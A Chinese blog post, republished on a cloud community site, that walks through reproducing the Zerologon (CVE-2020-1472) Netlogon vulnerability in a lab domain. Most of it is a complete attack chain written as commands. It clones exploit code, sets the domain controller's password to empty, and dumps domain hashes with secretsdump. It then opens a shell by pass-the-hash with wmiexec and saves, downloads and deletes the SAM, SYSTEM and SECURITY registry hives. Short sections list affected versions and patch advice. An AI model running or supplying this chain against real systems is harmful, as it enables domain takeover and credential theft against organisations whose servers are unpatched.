前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2020-1472复现指北

CVE-2020-1472复现指北

作者头像
黑伞安全
发布2020-09-18 11:21:17
2.1K0
发布2020-09-18 11:21:17
举报
文章被收录于专栏:黑伞安全

简介

2020年8月11号,微软修复了Netlogon 特权提升漏洞,当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。

要利用此漏洞,未通过身份验证的攻击者需要将 MS-NRPC 连接到域控制器,以获取域管理员访问权限。而2020年9月15日,secura发布了漏洞细节,之后相关的EXP也就被构造出来,漏洞原理

Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空

影响版本

代码语言:javascript
复制
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

环境简介

DC

代码语言:javascript
复制
DC_SYSTEM_VERSION :Windows Server 2012 R2 Standard
DC_NETBIOS_NAME :WIN-OO8C153PBTA
DC_IP_ADDR :192.168.139.134

Attack

代码语言:javascript
复制
ATT_SYSTEM_VERSION
ATT_IP_ADDR:192.168.139.128
Python_VERSION:3.8.2

漏洞验证

我们可以使用如下命令进行漏洞验证

代码语言:javascript
复制
git clone https://github.com/SecuraBV/CVE-2020-1472
cd CVE-2020-1472\
pip install -r requirements.txt
python zerologon_tester.py DC_NETBIOS_NAME DC_IP_ADDR

如果有下图提示,则漏洞存在

漏洞利用

整体流程

整个利用过程大概是下列流程

  • 置空域控保存在AD中的密码
  • 获取域控用户HASH
  • 通过获取到的管理员HASH得到一个SHELL,然后连接上去导出原来计算机中本地保存的HASH
  • 通过获取到的HASH恢复置空的域控密码

利用复现

环境配置

攻击机环境要求python版本再3.7以上,而且要获取最新版的Impacket,否则会产生如下报错报错(新版本中更新了我们利用中会用到的函数NetrServerPasswordSet2)

代码语言:javascript
复制
AttributeError: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2'
安装Impacket
代码语言:javascript
复制
git clone https://github.com/SecureAuthCorp/impacket
cd impacketpip 
install .
下载EXP
代码语言:javascript
复制
# ~/impacket/

cd examples
git clone https://github.com/dirkjanm/CVE-2020-1472
cd CVE-2020-1472\

置空密码

代码语言:javascript
复制

# ~impacket/examples/CVE-2020-1472

python cve-2020-1472-exploit.py DC_NETBIOS_NAME DC_IP_ADDR

这时候密码已经置空

注意:对域控服务器有影响,谨慎使用

获取HASH

接下来我们通过secretsdump.py根据DRS协议来获取相关的HASH,这里注意Windows用户在终端中的命令无需转义

代码语言:javascript
复制
~impacket/examples/

# windows
python secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -just-dc -no-pass
# others
python secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -just-dc -no-pass

获取SHELL

获取到HASH之后接下来我们就可以利用wmiexec.py登录,从而获取一个SHELL

代码语言:javascript
复制
~impacket/examples/

python wmiexec.py -hashes <HASH> DOMAIN/DOMAIN_USER@DC_IP_ADDR

获取原HASH

获取SHELL后我们执行以下命令,导出SAM中原来的HASH

代码语言:javascript
复制
# shell

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit

解析HASH

执行如下命令,利用secretsdump.py解析保存在本地的nt hash

代码语言:javascript
复制
# ~impacket/examples
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

然后我们保存上图中红框部分,即

代码语言:javascript
复制
# ORI_HASH
c165a47a84dce08168cc7f52d9b44712

恢复HASH

代码语言:javascript
复制
# ~impacket/examples/zerologon

git clone https://github.com/risksense/zerologon
cd zerologon\
python reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR <ORI_HASH>

检查是否恢复

我们这时候再用获取HASH时测试一下是否已经已经恢复

代码语言:javascript
复制
# ~/impacket/examples

# windows
python secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -just-dc -no-pass
# others
python secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -just-dc -no-pass

修复建议

安装符合操作系统的漏洞补丁,详情请见:https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-1472

参考来源

  1. https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-1472
  2. https://github.com/SecureAuthCorp/impacket/
  3. https://github.com/VoidSec/CVE-2020-1472
  4. https://github.com/risksense/zerologon
  5. https://www.cnblogs.com/goabout2/p/13676527.html
  6. https://www.secura.com/blog/zero-logon
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-09-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑伞攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 简介
  • 影响版本
  • 环境简介
    • DC
      • Attack
      • 漏洞验证
      • 漏洞利用
        • 整体流程
          • 利用复现
            • 环境配置
            • 置空密码
            • 获取HASH
            • 获取SHELL
            • 获取原HASH
            • 解析HASH
            • 恢复HASH
            • 检查是否恢复
        • 修复建议
        • 参考来源
        相关产品与服务
        多因子身份认证
        多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档